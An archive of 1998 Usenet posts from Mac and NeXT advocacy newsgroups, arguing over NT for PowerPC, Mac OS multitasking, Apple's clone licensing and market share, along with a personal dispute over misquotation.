Message-ID: <B1E2FD74-11C3DA@204.31.112.114>
References: <gmgraves-2707982345000001@sf-usr1-6-134.dialup.slip.net>
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy,
nntp://nntp.ix.netcom.com/comp.sys.mac.system
On Tue, Jul 28, 1998 12:45 AM, George Graves <mailto:gmgraves@slip.net>
wrote:
>In article <6pilp3$4a1$2@server.signat.org>, maury@remove_this.istar.ca
>(Maury Markowitz) wrote:
>
>> In <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net>
>George Graves
>
>> wrote:
>> > Yes, Natey, you do indeed have a copy of NT4 for PPC on your NT4 CD.
>> > But I want to make one thing clear that others seem to not realize.
>> > Apple had NOTHING whatever to do with this product because it will
>> > NOT run on a Macintosh, and was never intended to. It was designed to
>> > run on IBM's 6000 series mini-mainframes which use PPC chips.
>>
>> Uhhh, it was? I'm pretty sure it was built to run on PC-like machines
>with
>> a PPC, being sold primarily from Motorola (which I have used). I don't
>> believe it runs on the RS/6000. You sure about this?
>
>Its what I've read, But to answer your Question, No, I'm not 100% of this.
>It is possible that it's original intent was for these Motorola PC-like
>PPC machines, and it just happens to run on the IBM 6000 due to similarity
>in architecture. I simply don't know. I do know that it was never intended
as
>a alternative to Mac OS on Power Macintoshes, however. And I also know
>that it won't run on a PowerMac, because a friend of mine and I tried to
>install it on a PowerMac. It wouldn't even install. Just crashed.
>
>George Graves
>
For the record, IBM's RS/6000 group was also involved in the development of
NT for PPC. My recollection is that they even floated a pilot to their AIX
customers and then cited lack of demand as one of the reasons for
cancelling the project.
In any event, here's the 'Macworld' announcement of the cancellation, along
with Motorola, of NT for PPC way back when (12/96):
http://macworld.zdnet.com/daily/daily.879.html
NT never ran on Macs because of the ROM issues on PPC Macs, IIRC, but did
run on PrEP-compliant hardware (by both IBM and Motorola).
-- Not that there was ever much app software for it on PPC, however.....
<*sigh*>
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"First they ignore you, then they laugh at you, then they fight you, then
you win."
-- M. Gandhi
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 01:11:23 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BD6B8B.7F9134BD@nstar.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com> <6pjb03$1jb@news1.panix.com>
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Sal Denaro wrote:
> Why not? That is exactly what you can do with NSInterfaceStyle. That is
> exactly the motivation behind MacOS' InterfaceManager and Gnome's themes.
> There are simple things that can be decided at run time that allow a GUI
> to scale from 800*600 to 1600*1200 without having to change the Apps.
You'll have to explain how this is so. Interchangeable graphics packs
that alter the bitmapped appearance of widgets have exactly nothing to
do with UI scalability, as far as I can tell. It's distressing that
people seem to attach significance to "themes" when they amount to
nothing more than your choice of sugar-coating.
MJP
From: Osma Ahvenlampi <oahvenla@bounce.mail>
Newsgroups: comp.sys.be.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 28 Jul 1998 13:00:52 +0300
Organization: Telia Finland
Message-ID: <m3n29ucn1n.fsf@ws142.spray.fi>
References: <B1E200E6-9894@128.138.177.193> <6pjnb5$4qj$1@nntp2.ba.best.com>
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kcd@babylon5.jumpgate.com (Kenneth C. Dyke) writes:
> As far as I know, PEF is/was a MacOS only thing until Be started using
> it. I have no idea what executable format the RS/6000's used, perhaps
> ELF or XCOFF. (Anyone know for sure?)
At least the object files are XCOFF, I would assume the executable
format is the same. Linux uses ELF, of course. What BeOS and RS/6000
(AIX) share is the same ABI specification (PowerOpen), also used by
MacOS (but not, as far as I understand, Linux, which uses a modified
SysV EABI).
> I would actually be suprised if that was the case, given that most of
> those tools probably predate the GeekGadgets GCC port. And no one
> will be creating/porting a linker until Apple releases PEF
> documentation to the public, if ever.
As far as I understand, the Metrowerks compiler was used to build all
software that ships with BeOS, including all the command line
tools. Few GNU C programs that would compile under BeOS using GCC
require any extra modifications to compile under MWCC. The exception
is programs that have more than 64kb of function-local data, since
MWCC can't expand the stack frame that way. Few programs are written
that badly, though.
--
Sattinger`s Law: It works better if you plug it in.
Osma Ahvenlampi <oa at iki fi> (damn spammers)
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 01:15:38 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BD6C8A.C5386CEE@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <macghod-2707982216010001@sdn-ar-002casbarp043.dialsprint.net>
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Steve Sullivan wrote:
> Ok, so let me get this straight...
> 1) joe made you mad.
> 2) joe made you really mad
> 3) Joe made you really really mad and you were about to go to the
> courthouse and file papers.
Are you deliberately trying to misunderstand? It's not about making John
mad, it's about posting outright untruths in a public forum.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 06:28:44 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pjr2s$qsd$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <macghod-2707982216010001@sdn-ar-002casbarp043.dialsprint.net>
macghod@concentric.net (Steve Sullivan) wrote:
> Ok, so let me get this straight...
> 1) joe made you mad.
> 2) joe made you really mad
> 3) Joe made you really really mad and you were about to go to the
> courthouse and file papers.
Joe made me mad because it wasn't the first time he mischaracterized what I
said. Joe might simply make me mad if and when he implies I'm an idiot, or
I'm some other deragotory thing. That's fine and normal. Sure it may irk me
from time to time, but I'm sure my behaviour in one context or another
provides me with no expectation of being immune to such tactics.
Misrepresentations are something else all together.
> Now, I am wondering why the above occured, as compared to :
> 1) joe Made you mad
> 2) Joe made you realy mad, so you put him in your killfile
Because simply killfiling someone will not stop them from continued
misrepresentations. If Jane Doe started posting that I'm a child molester,
simply kill filing her won't stop her from defaming or making future
misrepresentations.
Regardless, I agree with the spirit of where you're getting at (I
think--though I refuse to kill file people because I'm not above finding good
ideas from any source). I clearly overreacted, got overly pissed at yet
another mischarcterization, and went apeshit on usenet. For that I'm sorry;
I don't think, at this point, it was too unreasonable considering it was not
the first time. As always, YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 01:27:32 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BD6F54.79FD211@nstar.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BC9473.A18302A8@nstar.net> <joe.ragosta-2707981114320001@wil47.dol.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 28 Jul 1998 06:37:34 GMT
Joe Ragosta wrote:
> 5 minutes to load 20 apps? Seems like a long time.
I have no idea how long it takes; I've never bothered to time it. As I
said, I'm working. Time flies when you're having fun. 5 minutes seemed
like a nice round number to characterize the wait.
> But you can't make a direct comparison between Mac OS and Unix in this
> way. On the Mac, it's easy to be very productive with a smaller number of
> apps. Instead of 20 specialized apps, you use a smaller number of more
> versatile apps.
All of which take your time loading into memory and then consume that
memory the entire time they run, even when large portions are
unnecessary. Because they're never swapped out (and couldn't, even if
there was an intelligent VM system available) they sit there like huge
hunks of waste.
We haven't even begun to discuss software that runs as a filter, rather
than as a monolithic app. The MacOS can't even do this; drag-and-drop
program execution would have been nice if it had ever been robust, but
nobody seems to think it matters. I'm executing hundreds of piped,
temporary processes continually while the MacOS is taxed by the very
thought of an inbound network connection.
Take a break from your more versatile apps and try a versatile *system*.
Some people today seem to think that computers exist to run apps; once
upon a time most people understood that apps exist to run the computer.
> But, if you insist, put an alias to the most commonly used apps into your
> startup folder. Then, set your Mac to start up 20 minutes before you come
> to work.
You should use a smiley when you make jokes. Some people are bound to
take this the wrong way.
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Getting along WAS: Re: Apple heading to obscurity?
Date: 28 Jul 1998 06:34:59 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pjrej$qsd$2@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <35BCC8AE.81F49DF0@starvision.com> <not-2707981346370001@ip-26-031.phx.primenet.com> <6piuqj$l9d$2@lwnws01.ne.highway1.com> <not-2707982258380001@ip-167-029.phx.primenet.com>
not@a.valid.email.add (Michael M. Eilers) wrote:
> You responded twice to the same post? If anything, you are
> certainly throrough.
Well I hate it if I'm using a word wrong; actually I just hate it when I do
ignorant things (quite often) and am always eager to correct that if at all
possible.
> The use of "othoganal" I was ribbing you for (and it _was_ a
> joke!) was not in a computer science or programming context; it
> was in a previous discussion in which someone equated Apple's
> abandonment of pre-G3 machines with OS X to a human rights
> violation. You broke in suggesting a third, right-angled viewpoint,
> and did a nice job, but I just thought "orthoganal" used in that
> context was a little excessive. Just trying to have a little fun
> with a too-serious thread.
Ok, I see. Well, I'm curious if you (or others in general) think it's wrong
to stretch the word. I was thinking about programmer stuff and using the
word in that sense, but applying it to a non programming context (although
when you think oop, you even think oop kinda elsewhere, if you know what I
mean, but I digress). You're probably right in that it may not be a common
way to use the word, so I think I'll refrain from doing so in the future.
Anyway, thanks for the thought on it regardless.
> > As for finding competent jurors or judges, they are not as rare
> > as you make them out to be; at least not when you know where
> > to look.
>
> That may be--but undereductated juries were the death of many a
> recent well-publicized case, from the Symington trial here in
> Arizona to (dare I mention it) the trial of some Simpson guy a
> few years back.
Criminal cases are not my gig, so I won't comment on those. Depending on who
you represent, and how well prepared you are to litigate, you can choose a
forum that will likely have very competent and fast juries/judges, or the
contrary. It depends on who I'm representing as to what I'll try and get.
If I'm the plaintiff, I'll likely be able to dictate the forum, and thus, to
a large degree, guarantee a certain kind of profile.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 23:45:00 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2707982345000001@sf-usr1-6-134.dialup.slip.net>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100> <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net> <6pilp3$4a1$2@server.signat.org>
In article <6pilp3$4a1$2@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
> In <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net> George Graves
> wrote:
> > Yes, Natey, you do indeed have a copy of NT4 for PPC on your NT4 CD.
> > But I want to make one thing clear that others seem to not realize.
> > Apple had NOTHING whatever to do with this product because it will
> > NOT run on a Macintosh, and was never intended to. It was designed to
> > run on IBM's 6000 series mini-mainframes which use PPC chips.
>
> Uhhh, it was? I'm pretty sure it was built to run on PC-like machines with
> a PPC, being sold primarily from Motorola (which I have used). I don't
> believe it runs on the RS/6000. You sure about this?
Its what I've read, But to answer your Question, No, I'm not 100% of this.
It is possible that it's original intent was for these Motorola PC-like
PPC machines, and it just happens to run on the IBM 6000 due to similarity
in architecture. I simply don't know. I do know that it was never intended as
a alternative to Mac OS on Power Macintoshes, however. And I also know
that it won't run on a PowerMac, because a friend of mine and I tried to
install it on a PowerMac. It wouldn't even install. Just crashed.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 23:48:40 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2707982348400001@sf-usr1-6-134.dialup.slip.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2407981630080001@wil51.dol.net> <35BB8E53.DC3C13C4@nstar.net> <6pgos1$1v1@newsb.netnews.att.com> <gmgraves-2707981005120001@sf-usr1-17-145.dialup.slip.net> <macghod-2707981155400001@sdn-ar-001casbarp306.dialsprint.net>
In article <macghod-2707981155400001@sdn-ar-001casbarp306.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <gmgraves-2707981005120001@sf-usr1-17-145.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Well, this is the "official" party line. The truth is somewhat different,
> > apparently. Two of Spindler's underlings, Jim Buckley and Fred Forsythe
> > were worried that because, Gateway, like Dell, sold their products only
> > by direct order and because they discounted their offerings significantly
> > below those of Compaq, HP, etc.(for similarly configured PCs),that therefore
> > they would so undercut Apple's prices (and profit margins) that Apple would
> > not be able to sustain them. In other words, Apple was afraid of a deep
> > discount channel because it would undermine their high prices and make them
> > look ridiculous for charging so much, when similar machines offering the
> > same performance, could be had from Gateway MUCH cheaper.
>
>
> Oh, so I guess just highering the prices that Gateway would have to pay
> (ie instead of $50 for the os, charge them $80, and instead of $100 to
> $500 for the motherboard, say $300 to $1200) would require too much brain
> power for those in charge at the time?
>
> If they try to argue that its too high, fine, let them. You can then have
> your pr people say "we offered a clone license to gateway, but they wanted
> such a low price that it would cost us money for each sale"
>
> Nah, thats just too logical
I don't think they thought about it too much. In a meeting, Spindler said:
"Gateway wants a licence, let's discuss it." and Buckley and Forsythe said
"No way Jose." And that was it.
George Graves
From: prink@DIESPAM!bcpl.net (Philip Rink Jr.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: %9.4 figure is NOT RELEVANT!
Message-ID: <prink-ya02408000R2807980253350001@news.abs.net>
References: <35bbcc48.0@news.depaul.edu> <B1E14963-127A3@206.165.43.43> <joe.ragosta-2707980637150001@elk49.dol.net> <macghod-2707981218350001@sdn-ar-001casbarp306.dialsprint.net> <pxpst2-2707982107220001@pelli.pathology.pitt.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Tue, 28 Jul 1998 06:50:00 GMT
NNTP-Posting-Date: Tue, 28 Jul 1998 02:50:00 EDT
In article <pxpst2-2707982107220001@pelli.pathology.pitt.edu>,
pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter) wrote:
> They are great at the soft
> news(aka rumor mongering that I LIKE) but when it comes to Hard JOURNALISM
> ( those guys have little to no experience). Reuters they are not
Yeah, Reuters is so good at discriminating rumor from hard facts that they
broke that "ourfirsttime.com" story before anyone else! Now that was a
piece of journalism!
--
Philip Rink Jr.
Internet Design & Consulting
prink [at] bcpl.net
Date: Tue, 28 Jul 1998 06:33:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2807980633150001@elk42.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <MPG.1026c4389a7ccdea989a2b@news.supernews.com> <6pjh0n$m6i$4@lwnws01.ne.highway1.com>
In article <6pjh0n$m6i$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> don.brown@cesoft.com (Donald Brown) wrote:
> > Check the quote, John. It was "IIRC, John said", IIRC meaning
> > If I Recall Correctly. When Joe found he was wrong, he retracted
> > it, and apologized.
>
> Yes Don, I know. But if I say "IIRC John Doe was convicted for molesting 35
> children, and I think he said he likes to do so" (when John Doe clearly has
> not and does not), the defemation occurs nonetheless; imagine yourself in the
> place of John Doe; the "IIRC" will not prevent harm from occuring and your
> reputation from being hurt, perhaps irreprably. The "IIRC" doesn't change
> that a factual assertion has been made.
It's interesting how you speak out of both sides of your mouth.
In another post, you used an example of a knight who said to someone, "if
it were the hour of something, I'd kill you". Since it was not the stated
hour, you said it was not a threat. In other words, "if it were the
hour...." was a conditional which was false, so the threat didn't exist.
In this particular case, my statement was, "if I remember correctly, John
Kheit said...". The conditional (if I remember correctly) was apparently
false, so the rest of the statement is not real and can not be considered.
By your own statements, I'm completely absolved by the conditional "IIRC".
Unless you're going to take the position that a conditional is only
meaningful if you want it to be meaningful. Which would be a pretty silly
position.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 06:36:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pjrh9$sos$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net>
In article <Josh.McKee-2707982204590001@pm3a20.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> I guess I just don't see why you can't admit that Windows 95's PMT is just
> a crippled as the Macs.
Because the Mac OS has no PMT at all and Windows 95 does use PMT for most
applications?
> Part of the definition of PMT is the inability of an application to block
> the OS.
Please find me a definition of PMT from a respected text or reference work
that supports your claim. Modern Operating Systems states:
"The strategy of allowing processes that are logically runnable to be
temporarily suspended is called preemptive sheduling."
Windows 95 can do this for all Win32 applications.
> All the examples you've provided (as well as others) tends to show that
> the Macs CMT is bad because it can be blocked by various events.
It can be block by any application and, even when all of your applications are
properly behaved, the scheduling is inefficient because the application must
decide it's time quantum without the necessary information to make a good
descision.
> Well, I've shown that Windows 95's implementation of PMT can be blocked
> too. So, it is not my words that say Windows 95's PMT is bad, it is the
> very logic used by PC advocates who cry foul when the Macs CMT is
> blocked. Why does this foul not apply when Windows 95's PMT is blocked?
I'm not saying that Window 95 multitasking is good. I'm saying the Mac OS
multitasking is worse than Windows 95 multitasking.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 28 Jul 1998 06:51:39 GMT
Organization: Steel Driving Software
Message-ID: <01bdba1e$418df710$41b4dccf@samsara>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com> <6pjfht$dho$1@nnrp1.dejanews.com>
quinlan@my-dejanews.com wrote in article
<6pjfht$dho$1@nnrp1.dejanews.com>...
> In article <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Different strokes and all that. The question isn't "which is better",
> > but "how significant is the difference". For most people, almost all
of
> > the time, the difference is not significant.
>
> Then why use the Mac OS? Buying a PC and running Windows is significantly
> cheaper than buying a Mac.
That's a key issue for Apple. That probably explains why Jobs is
concentrating on 'fashion', brand, hardware speed, and image. The
ease-of-use argument doesn't cut it anymore because the perceived
difference isn't significant enough to justify the expense - monetary
and otherwise - of buying a Mac.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: what the heck?(WAS: Market share numbers)
Date: Mon, 27 Jul 1998 18:51:45 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981851450001@sdn-ar-002casbarp026.dialsprint.net>
References: <joe.ragosta-2707980922590001@wil37.dol.net> <macghod-2707981119300001@sdn-ar-001casbarp259.dialsprint.net> <35bcde8a.0@news.depaul.edu>
In article <35bcde8a.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> Wrong.
Really? I sure as hell dont know what kind of math you were using, since
marketshare is just a function of your number of units sold divided by the
total number of units sold in the market you are considering. And in the
post I already stated for this argument that total marketshare was either
the same or higher, and apple's sells were on average about the same.
> Say 1st quarter sales were broken up like this:
I am not a math major so I will changet this to units, we will say their
was a total of 1000 units sold to make things easy
>
> Compaq 50% 500 units
> IBM 30% 300 units
> Sony 15% 150 units
> Apple 4% 40 units
> Misc 1% 10 units
= 1000 units total market
> Then second quarter, Compaq, IBM, and Sony sell 10% fewer
> *units*, while Apple stays the same. The percentages then
> look like this:
Ok, lets assume the total number sold was also 1000, to make the math easier
> Compaq 45% 450 units
> IBM 27% 270 units
> Sony 13.5% 135 units
> Apple 13.5% 135 units
> Misc 1% 10 units
Wait, what kind of hokus pocus are you doing? APple only sold 40 units
the first quarter, and 135 units the second quarter? When it was already
said that this is assuming apple's total units sold is to stay the same
from quarter to quarter (and actually they declined) and the market was to
be thought of as either the same total number or more?
> In short, you're wrong.
And how the hell do you figure that? Year 1, their were 1000 total units
sold in the market, and apple sold 40, or %4. In quarter 2, I dont know
what you want to say what the total computers sold is, but regardless, if
the total is the same as the first quarter, then apple still has %4, since
the total marketshare for apple would just be a percentage of units sold
compared to TOTAL COMPUTERS SOLD.
>You also should really knock
> off the Joe Ragosta fixation. It's immature and makes
> you look like an idiot.
>
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 06:52:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pjsfl$tmt$1@nnrp1.dejanews.com>
